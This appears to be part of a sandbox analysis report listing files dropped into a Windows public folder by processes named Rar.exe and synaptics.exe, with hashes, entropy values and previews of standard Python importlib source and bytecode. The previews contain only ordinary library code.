SHA-256:	03060C6B437D5268556E45EC50A89B25FF2DBBB393695611046BE776233BD568
SHA-512:	EEEA7E1582181A408A34F2BA2B6AA8ABCFDFC37C86ABF109CBD6233FEF68FB65724659857F426D41DA50D48B36E81D736BF5E16CC8FFFEF55F7EF628634BB4BD
Malicious:	false
Reputation:	low
Preview:	"""Abstract base classes related to import."""..from . import _bootstrap_external..from . import machinery..try:.. import _frozen_importlib..except ImportError as exc:.. if exc.name != '_frozen_importlib':.. raise.. _frozen_importlib = None..try:.. import _frozen_importlib_external..except ImportError:.. _frozen_importlib_external = _bootstrap_external..from ._abc import Loader..import abc..import warnings..from typing import BinaryIO, Iterable, Text..from typing import Protocol, runtime_checkable......def _register(abstract_cls, *classes):.. for cls in classes:.. abstract_cls.register(cls).. if _frozen_importlib is not None:.. try:.. frozen_cls = getattr(_frozen_importlib, cls.__name__).. except AttributeError:.. frozen_cls = getattr(_frozen_importlib_external, cls.__name__).. abstract_cls.register(frozen_cls)......class Finder(metaclass=abc.ABCMeta):.... """Legacy abstract base cl

C:\Users\Public\QExvbmVOb25l\Lib\importlib\machinery.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	850
Entropy (8bit):	4.966782780310052
Encrypted:	false
SSDEEP:	24:YT166asGSaopamPQpaJ2XEaJ2QaJLYaJRaJnaJiaJen5Jir:2VGSD0y20y2QyLYyRynyiy25Jir
MD5:	AC4151821693C881CEF5C5567EE36977
SHA1:	98C415AF4EECD5832ACD4DCA3FE2DBC220CE4B02
SHA-256:	1B8C62B3A0494C064B37D1812F3A67A475B874A383C937665C6DD66FCDC8F7B1
SHA-512:	1F2E8AA728F1EFF0A7AAE5D6B574D91CF3724BC49D5B4AEEB2E3CB53BD997A92A2E9C5CDBC5ACC052D5F0EA96FBF2626509C23E6E8BCC8183140D5FFD09070FD
Malicious:	false
Reputation:	low
Preview:	"""The machinery of importlib: finders, loaders, hooks, etc."""....from ._bootstrap import ModuleSpec..from ._bootstrap import BuiltinImporter..from ._bootstrap import FrozenImporter..from ._bootstrap_external import (SOURCE_SUFFIXES, DEBUG_BYTECODE_SUFFIXES,.. OPTIMIZED_BYTECODE_SUFFIXES, BYTECODE_SUFFIXES,.. EXTENSION_SUFFIXES)..from ._bootstrap_external import WindowsRegistryFinder..from ._bootstrap_external import PathFinder..from ._bootstrap_external import FileFinder..from ._bootstrap_external import SourceFileLoader..from ._bootstrap_external import SourcelessFileLoader..from ._bootstrap_external import ExtensionFileLoader......def all_suffixes():.. """Returns a list of all recognized module suffixes for this process""".. return SOURCE_SUFFIXES + BYTECODE_SUFFIXES + EXTENSION_SUFFIXES..

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	31653
Entropy (8bit):	4.600545092713191
Encrypted:	false
SSDEEP:	384:LAYScdWiMmMXy0TgP/eBSebWeLYfu51vlAB51Hvd8WgT0Tt/B7GFn6+hwYgEm+Z:LPSVmMXy4g0H1vAvvdm4rSPwybZ
MD5:	A6634294230146390C6551589BE95CD7
SHA1:	D6A8337B5227634D41CF53E735DF749C3C531166
SHA-256:	306A3AD3820533FDE313CBEA0BB8840D5DEF6455D16F39F76D6B9CDA91918DEE
SHA-512:	2A8533F9AE86CB520015F0426C28727857912D6CC253A4BEBCC64AC51B91CB9D4A4624807D29ABF2F20ADFE14ACAA61F7BC47EAECD301230515129AF694207BE
Malicious:	false
Reputation:	low
Preview:	import os..import re..import abc..import csv..import sys..import email..import pathlib..import zipfile..import operator..import textwrap..import warnings..import functools..import itertools..import posixpath..import collections....from . import _adapters, _meta..from ._meta import PackageMetadata..from ._collections import FreezableDefaultDict, Pair..from ._functools import method_cache, pass_none..from ._itertools import unique_everseen..from ._meta import PackageMetadata, SimplePath....from contextlib import suppress..from importlib import import_module..from importlib.abc import MetaPathFinder..from itertools import starmap..from typing import List, Mapping, Optional, Union......__all__ = [.. 'Distribution',.. 'DistributionFinder',.. 'PackageMetadata',.. 'PackageNotFoundError',.. 'distribution',.. 'distributions',.. 'entry_points',.. 'files',.. 'metadata',.. 'packages_distributions',.. 'requires',.. 'version',..]......class PackageNotFoundError(Mo

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\pycache\init.cpython-310.pyc.60074008

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	37109
Entropy (8bit):	5.211135547824197
Encrypted:	false
SSDEEP:	768:uBMjZ3JEQWRwd2Aj+j5El+bA16p34b50nOlt8/:uBcAL9iGzo+Ol2/
MD5:	706FA61D17268A4091EDE182B4E3A133
SHA1:	77A232EB856F6A0E9D196CCB73DF87BF42857E36
SHA-256:	A64D2B6721E76F9BF16DF684B075DC951341C481E3D58D8E97B8285CFA8EA312
SHA-512:	05B1763589211ACA3E2B89D2A3E8C911DADF23718F6E75631096FB527E3DB2CF8DC22A2400EC19B05AD12DC0C774CD734B88250F97D702960EBF1BFADCA53973
Malicious:	false
Reputation:	low
Preview:	o........'-d.{.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l.m"Z"..d.d.l#m$Z$m%Z%m&Z&m'Z'..g.d...Z(G.d.d...d.e)..ZG.d.d...d...Z+G.d.d...d.e..,d.d.....Z-G.d.d...d.e...Z/G.d.d...d.e/..Z0G.d.d...d...Z1G.d.d...d.e1e2..Z3G.d.d ..d e.j4..Z5G.d!d"..d"..Z6G.d#d$..d$..Z7G.d%d&..d&e!..Z8G.d'd(..d(..Z9G.d)d..d*..Z:G.d+d,..d,..Z;G.d-d...d.e8..Z<G.d/d0..d0e7..Z=d1d2..Z>d3d4..Z?d5e.j.f.d6d7..Z@d8d9..ZAd5e'e0e3f...f.d:d;..ZBd<d=..ZCd>d?..ZDd5e%eEe$eE..f...f.d@dA..ZFd.S.)B.....N.....)..._adapters.._meta)...PackageMetadata)...FreezableDefaultDict..Pair)...method_cache..pass_none)...unique_everseen).r......SimplePath)...suppress)...import_module)...MetaPathFinder)...starmap)...List..Mapping..Optional..Union)...Distribution..DistributionFinderr......PackageNotFoundError..

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\pycache\init.cpython-310.pyc.69275064

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	37109
Entropy (8bit):	5.211135547824197
Encrypted:	false
SSDEEP:	768:uBMjZ3JEQWRwd2Aj+j5El+bA16p34b50nOlt8/:uBcAL9iGzo+Ol2/
MD5:	706FA61D17268A4091EDE182B4E3A133
SHA1:	77A232EB856F6A0E9D196CCB73DF87BF42857E36
SHA-256:	A64D2B6721E76F9BF16DF684B075DC951341C481E3D58D8E97B8285CFA8EA312
SHA-512:	05B1763589211ACA3E2B89D2A3E8C911DADF23718F6E75631096FB527E3DB2CF8DC22A2400EC19B05AD12DC0C774CD734B88250F97D702960EBF1BFADCA53973
Malicious:	false
Reputation:	low
Preview:	o........'-d.{.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l.m"Z"..d.d.l#m$Z$m%Z%m&Z&m'Z'..g.d...Z(G.d.d...d.e)..ZG.d.d...d...Z+G.d.d...d.e..,d.d.....Z-G.d.d...d.e...Z/G.d.d...d.e/..Z0G.d.d...d...Z1G.d.d...d.e1e2..Z3G.d.d ..d e.j4..Z5G.d!d"..d"..Z6G.d#d$..d$..Z7G.d%d&..d&e!..Z8G.d'd(..d(..Z9G.d)d..d*..Z:G.d+d,..d,..Z;G.d-d...d.e8..Z<G.d/d0..d0e7..Z=d1d2..Z>d3d4..Z?d5e.j.f.d6d7..Z@d8d9..ZAd5e'e0e3f...f.d:d;..ZBd<d=..ZCd>d?..ZDd5e%eEe$eE..f...f.d@dA..ZFd.S.)B.....N.....)..._adapters.._meta)...PackageMetadata)...FreezableDefaultDict..Pair)...method_cache..pass_none)...unique_everseen).r......SimplePath)...suppress)...import_module)...MetaPathFinder)...starmap)...List..Mapping..Optional..Union)...Distribution..DistributionFinderr......PackageNotFoundError..

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\pycache\_adapters.cpython-310.pyc.60978024

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2357
Entropy (8bit):	5.1624174943294525
Encrypted:	false
SSDEEP:	48:2NuvHOKjpXocKHdq5UHdUktPdSNwplt9SDYvloUTG:nHOKVocKHdqUdUWlSWplZ9oEG
MD5:	A945D7BB9F2DE2BF3460500751A23CA6
SHA1:	4E5D568C85CD04770363C5C086DECB6CD097BCB6
SHA-256:	CC812D97107EA715BE48A6D4E29A2E0BF4DEC3A9E0FD36718A5B646647C154BE
SHA-512:	4529EDC37BEACD04FFAF163A753FC90855692004201B503C9DE31BEFE53EB14C4B83B68D295300343F04E7E2FF249A1762E529D253BC5102BCADDABB7619CEC0
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s<...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e.j.j...Z.d.S.)......N.....)...FoldedCasec........................sb...e.Z.d.Z.e.e.e.g.d.......Z...d.e.j.j.f...f.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e.d.d.....Z.....Z.S.)...Message).Z.Classifierz.Obsoletes-DistZ.Platformz.Project-URLz.Provides-Distz.Provides-Extraz.Requires-Distz.Requires-Externalz.Supported-PlatformZ.Dynamic..origc........................s"...t.....\|...}.t.\|.....t.\|.......\|.S...N)...super..__new__..vars..update)...clsr......res....__class__...@C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\_adapters.pyr........s..........z.Message.__new__c....................O...s....\|.....\|._.d.S.r....)..._repair_headers.._headers)...self..args..kwargsr....r....r......__init__#...s......z.Message.__init__c........................s....t.......S.r....).r......__iter__..r....r....r....r....r....'...s......z.Message.__iter__c........................s>...d.d.......f.d.d...t.\|...d...D...}.\|.j.r

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\pycache\_collections.cpython-310.pyc.60978264

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.027155941299097
Encrypted:	false
SSDEEP:	24:zBf0kCRklLM8ZOSIJOmhgP3uSDOTVMPt/fkWB16RB6lghkChedco/qq6Ddqrqqp:zBf0Xkl4KOSI4mh6peqdcWB1cegfhe+y
MD5:	A5646FFF089FF9D442BAAF434C70042E
SHA1:	00EDB10142F241C6317C908DEE1A5F8DC403386B
SHA-256:	3CA7DF4106EA2F4EA77424EC5D34B5A90AE3DF2D783D86AA3592CAA4608C1421
SHA-512:	B2E20FC96E2905E0393DA4634192CA5830D05611A58DE9391F6C92AE7D5CFCE7C006D988A3088C78A7C57FF7B3BB35446143EE71AF5354DE8C532184D28E688F
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s6...d.d.l.Z.G.d.d...d.e.j...Z.G.d.d...d.e...d.d.....Z.d.S.)......Nc........................s(...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.....Z.S.)...FreezableDefaultDicta!.... Often it is desirable to prevent the mutation of. a default dict after its initial construction, such. as to prevent mutation during iteration... >>> dd = FreezableDefaultDict(list). >>> dd[0].append('1'). >>> dd.freeze(). >>> dd[1]. []. >>> len(dd). 1. c........................s....t.\|.d.t...j...\|...S.).N.._frozen)...getattr..super..__missing__)...self..key....__class__...CC:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\_collections.pyr........s......z FreezableDefaultDict.__missing__c........................s......f.d.d....._.d.S.).Nc........................s..........S.).N)...default_factory).r......r....r....r......<lambda>....s......z-FreezableDefaultDict.freeze.<locals>.<lambda>).r....r....r....r....r......freeze....s......z.FreezableDefa

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\pycache\_functools.cpython-310.pyc.60979344

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	5.099012480219499
Encrypted:	false
SSDEEP:	48:bHbuTGKoOIXlUsSUUEQ1lGIGX5G5GurSYwBpHPdG7lfsJdSOTK/J/SarXN0le/y/:SoOCDUX4sXwjvMXNpa5m1qoOIk
MD5:	2F582BB9C2487DB134E9151251D7ABF3
SHA1:	BE4B5312C7EA3C78DBA4E674C81156532ED25EB1
SHA-256:	238BBEDBF5D7FF50D09CFCC16A798AFC5DB31D324943C4CE35D72293C0976E59
SHA-512:	CE38E852763480ECCBE5716F480F55B856FABEA6AB0DEB0C3E19BAE91025FD44631EB5804DEFCE7B2ACBEBE6254D9C0802AC69F049D1B39894416C6FD27C7802
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s&...d.d.l.Z.d.d.l.Z.d.d.d...Z.d.d...Z.d.S.)......Nc........................s(.....p.t...........f.d.d...}.d.d...\|._.\|.S.).aV.... Wrap lru_cache to support storing the cache data in the object instances... Abstracts the common paradigm where the method explicitly saves an. underscore-prefixed protected property on first call and returns that. subsequently... >>> class MyClass:. ... calls = 0. .... ... @method_cache. ... def method(self, value):. ... self.calls += 1. ... return value.. >>> a = MyClass(). >>> a.method(3). 3. >>> for x in range(75):. ... res = a.method(x). >>> a.calls. 75.. Note that the apparent behavior will be exactly like that of lru_cache. except that the cache is stored on each instance, so values in one. instance will not flush values from another, and when an instance is. deleted, so are the cached values for that instance...

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\pycache\_itertools.cpython-310.pyc.60979104

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	584
Entropy (8bit):	5.1754631872640635
Encrypted:	false
SSDEEP:	12:Cu//48ZPUbmR6OHRgD4gvwfJLV0jyr4e+VlWsoVzoufN++k+Zqq18:ZDPUe6+k4fJgyEd/3ODlfnZqq18
MD5:	9A58998F488FAD41F647EF17C4E75473
SHA1:	DEC27CB647961DE00E613C788BF5DB87F62E5F0B
SHA-256:	47A6511EC14D7AE358B5644C750AE5670ADC687C9BA39A4724C91A955152D017
SHA-512:	A3E0637D1D2A7AB1E88D769687768DC03E04AB7B1373F3D7F52CACB0A3D8BB820653001E938B4AB16C138571B30F9B28E2FF015838F12409B38E047E5AF31782
Malicious:	false
Reputation:	low
Preview:	o........'-dr........................@...s....d.d.l.m.Z...d.d.d...Z.d.S.)......)...filterfalseNc....................c...sf.....t...}.\|.j.}.\|.d.u.r.t.\|.j.\|...D.].}.\|.\|.....\|.V...q.d.S.\|.D.].}.\|.\|...}.\|.\|.v.r0\|.\|.....\|.V...q.d.S.).zHList unique elements, preserving order. Remember all elements ever seen.N)...set..addr......__contains__)...iterable..key..seenZ.seen_add..element..k..r.....AC:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\_itertools.py..unique_everseen....s..................................r....).N)...itertoolsr....r....r....r....r....r......<module>....s........

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\pycache\_meta.cpython-310.pyc.60817888

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2277
Entropy (8bit):	4.728131821412717
Encrypted:	false
SSDEEP:	48:OgnzBuSda0dUuJpYwj1JEZNmsZBCdHEjX9vlq:OgNuaa0dUAp/j1JErm8BCdHED90
MD5:	D66D488C70AA8DB7494B85B0B9BAF650
SHA1:	524D57EBA2AA4559F8B7AFFD8CF3C4CEE97BAE11
SHA-256:	EBCF36AA14661C9EC17CD61FD1B9467A73BD4285C925B64DA65C6F8EEFE62D2A
SHA-512:	1E386EA8D4FF77A835E9766ADF016248160B006941DC88D294EF4CD93E75D22DDA15C81E125A8353A3D03E721D05C001F69023B2F6BC874C348BA20E8FFCAE26
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sP...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......)...Any..Dict..Iterator..List..Protocol..TypeVar..Union.._Tc....................@...s....e.Z.d.Z.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.e...f.d.d...Z.d.d.e.d.e.d.e.e.e...e.f...f.d.d...Z.e.d.e.e.e.e.e.e...f...f...f.d.d.....Z.d.S.)...PackageMetadata..returnc....................C........d.S...N......selfr....r.....<C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\_meta.py..__len__...........z.PackageMetadata.__len__..itemc....................C...r....r....r....).r....r....r....r....r......__contains__....r....z.PackageMetadata.__contains__..keyc....................C...r....r....r....).r....r....r....r....r......__getitem__....r....z.PackageMetadata.__getitem__c....................C...r....r....r....r....r....r....r......__iter__....r....z.PackageMetadata.__iter__...name..failobjc....................C........d.S.).zP. Return all value

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\pycache\_text.cpython-310.pyc.60818896

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3073
Entropy (8bit):	5.062882220134745
Encrypted:	false
SSDEEP:	96:1OhFXWTrbGowYRzHinOrIAeQc2u4KryOqugqhFqYbvHqILqtk3RO/8C9HqL7dRjN:1EowCmVAeQgdqfq/qIqoqu9UHqHdRjqu
MD5:	874750D4585F4E8EC80DC8D6F8F1F36B
SHA1:	E2ADC94FBC1C4971051E0E23DCE850623F297FED
SHA-256:	C297610AFA632C13A42B428B32FC9DBCCA38ECE3FDFC7F91E733CD751EDC26A7
SHA-512:	F9BC17882257E40C24AB0C74580857C9C01331839A673125DC70FFCAB7DF762C3EE60751AC9C225A55B5751C0CC9D29CB908C433606560F8BC6BDFA7F912D114
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s(...d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......N.....)...method_cachec........................sr...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e...f.d.d.....Z.d.d...Z.d.d.d...Z.....Z.S.)...FoldedCasea{.... A case insensitive string class; behaves just like str. except compares equal when the only variation is case... >>> s = FoldedCase('hello world').. >>> s == 'Hello World'. True.. >>> 'Hello World' == s. True.. >>> s != 'Hello World'. False.. >>> s.index('O'). 4.. >>> s.split('O'). ['hell', ' w', 'rld'].. >>> sorted(map(FoldedCase, ['GAMMA', 'alpha', 'Beta'])). ['alpha', 'Beta', 'GAMMA'].. Sequence membership is straightforward... >>> "Hello World" in [s]. True. >>> s in ["Hello World"]. True.. You may test for set inclusion, but candidate and elements. must both be folded... >>> FoldedCase("Hello World") in {s}. True. >>> s in {FoldedCa

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\_adapters.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1930
Entropy (8bit):	4.343405359021804
Encrypted:	false
SSDEEP:	48:DwGF15jVN5+LjtoIKEuFIw5oGpEnFSy1lkVsqG31WCkG:8mXjX5+uE1Fnl8SWCkG
MD5:	A046E808A33BE9907CFC850E6DC30E7D
SHA1:	726D08E414D5AC2A7DDF12E61A61FCF1A6BA04DF
SHA-256:	863E49569310894ED3F41F966A4883B0FD1684829DDC4E7694A73E083A89112D
SHA-512:	4D629301D8208E2CFE7533791188C69BE66B547AF2DE1D6FA53AF64581BC7378FEAA417E1F78629F26E8411C0CA291A937C8C424D7FFCCBEA6D7A28B2B5746C4
Malicious:	false
Reputation:	low
Preview:	import re..import textwrap..import email.message....from ._text import FoldedCase......class Message(email.message.Message):.. multiple_use_keys = set(.. map(.. FoldedCase,.. [.. 'Classifier',.. 'Obsoletes-Dist',.. 'Platform',.. 'Project-URL',.. 'Provides-Dist',.. 'Provides-Extra',.. 'Requires-Dist',.. 'Requires-External',.. 'Supported-Platform',.. 'Dynamic',.. ],.. ).. ).. """.. Keys that may be indicated multiple times per PEP 566... """.... def __new__(cls, orig: email.message.Message):.. res = super().__new__(cls).. vars(res).update(vars(orig)).. return res.... def __init__(self, args, *kwargs):.. self._headers = self._repair_headers().... # suppress spurious error from mypy.. def __iter__(self):.. return super().__iter__()..

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\_collections.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	773
Entropy (8bit):	4.707400693185867
Encrypted:	false
SSDEEP:	12:ysSCg72MrelLMEdrqbM1Mgd5aWqp/IV/MZhmuyNSKtVYCy:ytYlLMZ3y5aWowVEZ8m
MD5:	0E214D282C8470C634BBA8872B3DC139
SHA1:	98850B764D8FD22830CB9014E2528FE5FE36C315
SHA-256:	4281B8DA21C38B837C93E93916D6BBC0A01F7E023C7D39251E3B80250F7D575E
SHA-512:	9F024100BFCEA2ABCD2587C97CE0E35B7BF485A972C879883DA99E8F1A4A5931F9A9A2963354AF2389CB46314F1EBF43C09DCC5E30D25790E1470EC6E9539B01
Malicious:	false
Reputation:	low
Preview:	import collections......# from jaraco.collections 3.3..class FreezableDefaultDict(collections.defaultdict):.. """.. Often it is desirable to prevent the mutation of.. a default dict after its initial construction, such.. as to prevent mutation during iteration..... >>> dd = FreezableDefaultDict(list).. >>> dd[0].append('1').. >>> dd.freeze().. >>> dd[1].. [].. >>> len(dd).. 1.. """.... def __missing__(self, key):.. return getattr(self, '_frozen', super().__missing__)(key).... def freeze(self):.. self._frozen = lambda key: self.default_factory()......class Pair(collections.namedtuple('Pair', 'name value')):.. @classmethod.. def parse(cls, text):.. return cls(*map(str.strip, text.split("=", 1)))..

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\_functools.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2999
Entropy (8bit):	4.6344062686720875
Encrypted:	false
SSDEEP:	48:b8buTGBskHc4SpcJ1lGRGX5GEGuvSpQIgQyAdGnlfsJdSpzTKjJkmSphBlle/RlV:bgst6XJyQIT4bhU5I4NrM3IT4W
MD5:	656CF285C9D4FAE91F3F4B02851338D5
SHA1:	4F4293F48C7C74C7B0EC949AF3CC526C4F59084B
SHA-256:	DA7408563C04CAD511DAEBF9E2A1091AD148DEF11A388437D05B97A5618B881D
SHA-512:	453138A2FA3974AD3614842CE0948C439167513ACB18243E76C37449AAB71693600966A014690A0FCB0C246A01D0AFE10CFC269C44C904FF37F88DE197508CB3
Malicious:	false
Reputation:	low
Preview:	import types..import functools......# from jaraco.functools 3.3..def method_cache(method, cache_wrapper=None):.. """.. Wrap lru_cache to support storing the cache data in the object instances..... Abstracts the common paradigm where the method explicitly saves an.. underscore-prefixed protected property on first call and returns that.. subsequently..... >>> class MyClass:.. ... calls = 0.. ..... ... @method_cache.. ... def method(self, value):.. ... self.calls += 1.. ... return value.... >>> a = MyClass().. >>> a.method(3).. 3.. >>> for x in range(75):.. ... res = a.method(x).. >>> a.calls.. 75.... Note that the apparent behavior will be exactly like that of lru_cache.. except that the cache is stored on each instance, so values in one.. instance will not flush values from another, and when an instance is.. deleted, so are the cached values for that instance..... >>> b = MyClass()..

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\_itertools.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	626
Entropy (8bit):	4.225594095287608
Encrypted:	false
SSDEEP:	12:19uQ6NyMeKuDRJLV0jyT0V9pEoQsRXGeFWKgOJALe8XWGJ:19uHdxWJgyTQ/EeRXGaWzNLe8tJ
MD5:	07DBBC13A3B5D33F9F06FB6D0FCF07D7
SHA1:	6C4B8BBDA2B067E3FB502202494CA772312203D7
SHA-256:	8E3C80F7BDB8A3FBB6E0373489C150CE0F0767D79DD829A0662903CA1010049B
SHA-512:	F0934CD582BCA775CF413BEBA56BC50823A2BB2C32D252AE36AD6568B97DB268FB0FE993982381648FBD03AFF7B9055097D56828702B9D4EA4F51D2AD179BAB8
Malicious:	false
Reputation:	low
Preview:	from itertools import filterfalse......def unique_everseen(iterable, key=None):.. "List unique elements, preserving order. Remember all elements ever seen.".. # unique_everseen('AAAABBBCCDAABBB') --> A B C D.. # unique_everseen('ABBCcAD', str.lower) --> A B C D.. seen = set().. seen_add = seen.add.. if key is None:.. for element in filterfalse(seen.__contains__, iterable):.. seen_add(element).. yield element.. else:.. for element in iterable:.. k = key(element).. if k not in seen:.. seen_add(k).. yield element..

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\_meta.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	4.6714418925368735
Encrypted:	false
SSDEEP:	24:1RE8HI89tYIWOtGFK4BWYvcqjVFi20zGhH:/Z9aIrtAK4gec2/0zGl
MD5:	EADE85F75510D406899FFA83EB10364B
SHA1:	03019F6300B3950090809E6C53D68B51C565165F
SHA-256:	D350F8C337081981259C3D18B292116194D8DF095C7F403EEF0EEE0D52E30166
SHA-512:	DB1210420A3A99A4DD5E610B1D36C59809F4D7811D7DA0944BAD43CB4F82326384C98CFFCC361084D54CFF7A07D031374EF30B04BA056249AE6E91A7EE9051B5
Malicious:	false
Reputation:	low
Preview:	from typing import Any, Dict, Iterator, List, Protocol, TypeVar, Union......_T = TypeVar("_T")......class PackageMetadata(Protocol):.. def __len__(self) -> int:.. ... # pragma: no cover.... def __contains__(self, item: str) -> bool:.. ... # pragma: no cover.... def __getitem__(self, key: str) -> str:.. ... # pragma: no cover.... def __iter__(self) -> Iterator[str]:.. ... # pragma: no cover.... def get_all(self, name: str, failobj: _T = ...) -> Union[List[Any], _T]:.. """.. Return all values associated with a possibly multi-valued key... """.... @property.. def json(self) -> Dict[str, Union[str, List[str]]]:.. """.. A JSON-compatible form of the metadata... """......class SimplePath(Protocol):.. """.. A minimal subset of pathlib.Path required by PathDistribution... """.... def joinpath(self) -> 'SimplePath':.. ... # pragma: no cover.... def __div__(self) -> 'SimplePath':

C:\Users\Public\QExvbmVOb25l\Lib\importlib\metadata\_text.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2297
Entropy (8bit):	4.6525371068604136
Encrypted:	false
SSDEEP:	48:BUu/H8O42w9/2kz8/WVy1wux7QcY5Djwa7TrbjmfVbp5bWYLE7faS5E4wz0u3v:BUM8O1w9/2kz8/W41wA7QcenFqVp3v
MD5:	A6554E82888F65E2D55C209B7FD9125C
SHA1:	B4868D5C4861262B0B4394606D72DE2BF72913CA
SHA-256:	87B52AB0F393B60FE5D9BFDB0A019A18395B0A127D133847763A873D5D1F68DB
SHA-512:	FC7ACCDB79B99AFFA43127AB7711CBA18A9D735A14975FD1D2D05168D50C2282112D0E08CD2BF8AA58DD0F07A0D1FEA2967F4641ADD5E3D96988A898E75B779A
Malicious:	false
Reputation:	low
Preview:	import re....from ._functools import method_cache......# from jaraco.text 3.5..class FoldedCase(str):.. """.. A case insensitive string class; behaves just like str.. except compares equal when the only variation is case..... >>> s = FoldedCase('hello world').... >>> s == 'Hello World'.. True.... >>> 'Hello World' == s.. True.... >>> s != 'Hello World'.. False.... >>> s.index('O').. 4.... >>> s.split('O').. ['hell', ' w', 'rld'].... >>> sorted(map(FoldedCase, ['GAMMA', 'alpha', 'Beta'])).. ['alpha', 'Beta', 'GAMMA'].... Sequence membership is straightforward..... >>> "Hello World" in [s].. True.. >>> s in ["Hello World"].. True.... You may test for set inclusion, but candidate and elements.. must both be folded..... >>> FoldedCase("Hello World") in {s}.. True.. >>> s in {FoldedCase("Hello World")}.. True.... String inclusion works as long as the FoldedCase object.. is on the right..... >>> "hello"

C:\Users\Public\QExvbmVOb25l\Lib\importlib\readers.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3710
Entropy (8bit):	4.50184813832295
Encrypted:	false
